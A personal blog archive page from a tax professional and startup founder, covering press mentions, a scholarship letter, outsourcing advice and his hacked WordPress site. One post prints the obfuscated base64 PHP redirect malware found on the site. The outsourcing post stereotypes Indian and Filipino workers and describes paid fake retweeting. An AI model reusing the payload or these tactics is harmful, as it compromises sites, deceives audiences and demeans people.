Featured on BusinessWeek

Cameron Keng is still in his pajamas. After coding all night at the alumni hotel on the LSU campus, he’s downing Coke Zero and catching some air before he heads to the back of the bus with his TaxCast co-founder, Sohel Siddique. Five new buspreneurs from Florida, founders of the newly created BumperCrop, have joined us today. After carrying their pillows down the aisle, they set up their laptops on one of the bus’s table configurations near TaxCast.

The TaxCast founders just spent the night on the floor of the hotel lobby, sleeping for two hours, from 5 to 7 a.m. “Someone came in and laughed at us,” says Keng. The Cook Hotel had only 40 rooms allotted for more than 150 entrepreneurs, and two guys had taken their room. So they used towels and jackets as blankets. “It was pretty shameless,” says Keng. They still managed to build an interactive spreadsheet, a tax-predicting algorithm, and an infographic asking the questions “How much in taxes do you pay? Are you struggling with receipts? Is the IRS your secret boogie man?”

http://www.businessweek.com/articles/2012-03-09/hitching-a-ride-on-a-startupbus-bound-for-austin-part-iii

Featured on Fox News

Heyo guys, I was lucky enough to be featured on Fox News Business again as a tax expert.  Here’s a short excerpt:

Bulk up your IRA and 401(k). “Most people don’t realize that saving money for your IRA or 401(k) is
also a great way to plan for your future emergency medical
needs,” Keng says.

Using funds from these accounts before age 59.5 for medical expenses is an exception to the 10% early withdrawal penalty, but you still received the tax benefit over time, Keng says. If you can afford it, increase your contributions for a bigger tax benefit and to cover future out-of-pocket health-care costs.

Read more: http://www.foxbusiness.com/personal-finance/2012/04/06/how-to-save-for-long-term-health-care-costs/#ixzz1tSNMREB2

Woot!

Creating Exceptions: Getting a Law School Scholarship that Doesn’t Exist

Not many people can say that they were able to come out of law school debt free.  I can say that not only am I debt free, but I was paid to go to law school.

There are exceptions to everything in this world, whether we realize it or not.  As much as I think Instagram is bullshit, I can’t deny that they’re the exception to the rule that photo apps are always losers.

The thing we need to realize is that exceptions can always be created.  Before I went to law school, everyone told me that it was going to bankrupt me and I’d end up hating my life.  This was coming from all of my cousins that became attorneys.  They all came out with $200K plus debt and an extreme disgust with their working life.

I went to a normal law school (not insert ivy league).  CUNY Law was a city law school that I chose because it had the strongest return on investment.  They were 4th string, but they were accredited and the #1 law school in public law.

CUNY Law didn’t have a scholarship program. 

After I received my acceptance, I received a bill to pay the extremely affordable in-state tuition of $10k.  I, being the cheap miserly bastard I am, called the school to request a scholarship.  The Admissions office clearly said that they don’t offer any and fellowships programs are determined by the applicant pool’s applications.

Unwilling to accept this, I draft an 1 page letter to fax over attention to their Admissions office.  The letter I wrote (see below), was fairly straight-forward.  It said the following:

  1. I want money.
  2. I’m a big deal. (LOL)
  3. Here’s proof.

Here’s exactly what I wrote…

To Whom It May Concern:

I, Cameron Keng, would like to be considered for the fellowship program at CUNY Law. The past 2 years has been an amazing experience where I’ve transitioned from my full time position at major accounting firms such as PricewaterhouseCoopers and KPMG to my nonprofit 501(c)(3) tax clinic that offers free assistance to low-income families, the elderly and non-native English speaking immigrants.

The Keng Institute Tax Clinic sponsored by the IRS and in partnership with New York State and City has in th
ax season alone already helped generate hundreds of thousands of dollars in tax refunds back into the community.  We’ve processed well in excess of 5 million dollars in income through the thousands of returns we’ve processed.e past t

The tax clinic aims to provide direct aid and education. Our tax clinic is the first and only online IRS approved continuing professional education credit provider. The ultimate goal is to have an institute that can extend its services ac

ross numerous basic needs that range from tax, immigration, civil and labor laws in their native languages such as Mandarin and Cantonese.

Attached is a recommendation from the Internal Revenue Service in regards to our tax clinic. I’ve been featured on Bloomberg, BusinessWeek, Fox News, Good Magazine and Tax Analysts as a tax expert, nonprofit and social entrepreneur. If you have any questions feel free to contact me at any time by phone (718) 536-6920 or email at cameronkeng@gmail.com. I look forward to speaking with you soon and thank you for your time and consideration.

Thanks,

Cameron Keng

Cam’s rules to being the exception the rule:

  1. Asking for something BIG.
  2. It is absolutely necessary to be fiercely shameless.
  3. Back your shit up.

CUNY Law was awesome enough to offer a scholarship that covered $5,000 dollars in light of my prior achievements and accomplishments.  Standing out and becoming the exception could be as simple as asking for something that wasn’t stated.

Take this process, rinse and repeat…

The result is getting about $20k in scholarships to cover all of my costs including cost of living.

Please do the same.

Featured on Fox News

I was recently featured on Fox News Business as a tax expert:

Deciding whether a child should be claimed as a dependent depends on a myriad of individual factors, but in general, it’s almost always best for parents to keep children as dependents for as long as they can, says Cameron Keng, a New York-based certified public accountant and enrolled agent.

Read more: http://www.foxbusiness.com/personal-finance/2012/04/03/when-to-claim-children-as-dependents-on-your-taxes/#ixzz1tSLkVleo

Some excerpts

Is the child over age 24, but not earning income? You can claim dependent children until they turn 19, unless they go to college, in which case they can be claimed until they turn 24. If your child is 24 years or older, they can still be claimed as a “qualifying relative” if they make less than $3,700 a year, according to Keng. In that case, the amount of tax savings is much higher for the parents than for the child.

Does the child have substantial medical expenses? Keeping your child part of your household means you can deduct their medical expenses under your own itemized deductions, Keng says.

If you are paying out-of-pocket for the child’s care, keeping them as a dependent makes financial sense. (Note: Under last year’s Affordable Care Act, your child may also be eligible for your medical insurance benefits until age 26, whether or not you claim him as a dependent on your tax return. See more at www.healthcare.gov).

Always nice to be appreciated =) lol.

Monopoly Tax Infographic Featured on Good Mag

Hey guys, check out the newest infographic I made for Good Mag =).  http://awesome.good.is/transparency/web/1204/wealthy-taxes/flat.html
Monopoly Tax Infographic!

The Doctor Will See You Now: Hack Cured

The site has been down for a while because of tax season, business and general laziness to deal with the hacked site for a while.  There are two ways to fix this.

The easiest way to fix the problem is to get a new web host because I don’t know where the infiltration is coming from.  It’s incredibly annoying because its pointless to buy dedicated or virtual private servers when you’re not running a business or a profit generating blog.  Since, you’re sharing a server then any retard that’s also sharing your server could potentially infect your websites.

A server is a computer that runs 24/7 so that your website stays up.  That’s why viruses and infiltration can easily attack you.  Unfortunately, this’ll never be fixed cause its a problem with the server.

The issue that I had was that the code in the prior posts, translates to mean:

  • All search engines such as google, yahoo, bing and etc
  • All popular websites and referral indexes
  • Will then redirect you to a 301 redirect page that the hacker owns
  • They will then send your viewers/audience to random spam sites that will set off insane alerts in AVG and other antivirus software.

The solution is to get a new web host and then completely reinstall everything.  Download the xml file and just redo it.  The database is clean so you wont need to deal with that.

The technical solution requires command line access to ssl/shell through putty or sudo.  Some better web hosts allow you access to ssl/shell through a web terminal.

A script can be written to track the injection and then create a new file that is without the hacked code.  A second script will then be activated to delete the hacked file.  This will turn all of your info to its original state.  I’m not going to reinvent the wheel, so check out this link to get additional help. =D

http://tech.sarathdr.com/featured/wordpress-hacked-redirect-to-gigop-americanunfinished-com

Guess Who Got Hacked Again! Awesome!…But I Can Fix It Perm.

Here is the cause of my woes! =(
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ2lnb3AuYW1lcmljYW51bmZpbmlzaGVkLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"))
Its going to die. yay!

My YC App for You to Criticize

Below is my YC app for the most recent batch.  Realistically, the chances of getting an interview is pretty slim because of the number of worthy candidates.  The only way to guarantee yourself a place in the next class is to either (1) be a prior successful founder or (2) have an established business model with over 1,000 paying customers.  Notice that if you had either, then you wouldn’t even need to get into YC because you’d be too busying winning xP.

I don’t expect to be chosen, but I thought that it was a great thought exercise to go through.  These are questions that you should’ve asked yourself a while ago anyway.

I did my app fairly quickly because I’ve asked myself a lot of these questions before while lying awake at night.

Putting everything down on paper is an awkward experience because it sounds great in your head and looks insane in words.  Forcing yourself to write concisely is really hard.  Conveying your idea to something simple and clear is totally different than just doing it.

I suggest everyone try and actually write this stuff down.  You’ll be amazed at the shit you’ll say the first time through.

Here’s my application:

*Note: If anyone else is willing to post their app and willing to centralize them all, let me know and I’ll throw it all together real quick.  It’ll be interesting if the crowd-voted favorites will be chosen.  Mob mentality v. YC. LOL

http://cameronkeng.com/wp-content/uploads/2012/03/yc-tax-application.pdf

Why I Overpaid My Outsourced Project by 4x the Actual Cost

Outsourcing vs. Offshoring

Definitions:

Outsourcing – is having an external individual or organization complete tasks or objectives for you.

Offshoring – is having an external individual or organization in a foreign country complete tasks or objectives for you.

 

I’ve spent at this point $6,679.13 dollars outsourcing and offshoring work this month.  Examples of tasks that I’ve outsourced or offshored:

  1. Media/PR Tasks such as looking up contact info of reporters and investors.
    1. They’re always good at this!  This can easily take you hours (Paid $10 for 100 contacts)
    2. Write and Edit Tax Manuals based on my various past writings, journals and tax publications
      1. Offshoring writing is difficult because the English will be 90% perfect, but that last 10% seems to always irk me.
      2. I’ve learned to avoid having them writing original content, but instead have them edit, format and take inspiration/bits from various sources. They’re amazing at this type of work because this is what they usually do anyway.
      3. Social Media.  I’m not a fan.  But, I understand that it works in very specific circumstances.  This is a longer-term investment play.  Twitter requires a huge amount of social proof to have you take off.  On twitter, if you do the following:
        1. Write a tweet to a reporter such as “@RandomReporter’s article on stupid stuff that @cameronkeng think’s is awesome! Read it link”
        2. This then is retweeted at random times by various offshore or outsourced contractors.  All of a sudden the reporter loves you because you’ve “expanded their audience” and gave them social proof that they can retweet themselves.
        3. When the reporter retweets you, then you’re known to their audience of readers and more importantly – other reporters.
        4. Development.  Developers in the United States are awesome.  So, awesome that we can’t afford them lol.  Understand that hiring developers overseas is the worst thing you can do in your life because they all suck to varying degrees because the good ones are already taken.
          1. I have categorically refused to hire from India, Pakistan and the like because of the signal to noise ratio.

i.      I spoke to an Indian firm ran by an American-Indian and he actually admitted that the reason why all Indian firms have such poor service is because of the mindset:

  1. They already know you’re going to leave.  It’s a matter of time before you realize that this isn’t going to work.  So, they’ll agree to anything you possibly ask for knowing they can’t or won’t deliver because they’d rather get you on the hook for a month or two before you realize it. (LOL)
  2. If you want this to work, you need to understand development yourself.  Code needs to be consistently reviewed and everything needs to be communicated.
  3. Understand that you’re paying really cheap prices and everyone knows that (Including the people you hired.)  The timeline you expect needs to be 3 times whatever you want.

 

Cam’s General Outsourcing & Offshoring Rules:

  1. I defer to Filipinos.  They’re just better.  They’re awesome for a variety of reasons.
    1. They’re almost fluent in English because of American colonization.
    2. Great customer service!  Guaranteed they’ll always call your sir or madam.  I’m usually called a madam because they think I’m Cameron Diaz. (LOL)
    3. Incredibly honest.  I’ve had a Filipino that had over billed by 50 hours and when I brought it to his attention he refunded the money within the same day.
    4. Skilled labor.  Filipinos have a variety of skills that are competitive in the international market.  I like to use them the most for writing, editing, video and audio.
    5. Always make strict rules and guidelines that cannot be broken.  For example, require the applicants to have a message typed up in the Subject line as an introduction and a format for them to structure their information.
      1. Subject line should always have a keyword so that we know that they can follow directions.
      2. Format is important because it shows they actually read your directions and can follow them.  If they’re this stupid now, then how are they going to do good work in the future?
      3. Require that they’re willing to give skype calls where audio is a must and video is preferred.  You forget that visual interaction is important because you can physically see signs of lying and other problems that can be hidden through the “internetz.”
      4. Know that you’re going to over pay and lose money on your projects.
        1. Your first project is a loser.  I paid 4 people to do the same project, so I basically overpaid over 4x the actual cost of the project.  This is the cost of finding good people.

 

I’ll go into more detail on how I found good people that I’ve kept on for the past 6 months on a semi-permanent basis.

NO LONGER HACKED!

I’ve finally gotten off my lazy ass and fixed my site that was hacked for the last month.  Sadly, it took this long because I was at SXSW this year on the StartupBus that totally kicked my ass.  It was an amazing experience and in all honestly – life changing.

I’m glad I figured out how to fix this problem, in the future I’ll be able to do this much faster.  It’s embarrassing, but I didn’t know how to use myphpadmin to reload my backed up database.

So, here’s the new site design and the content is back!

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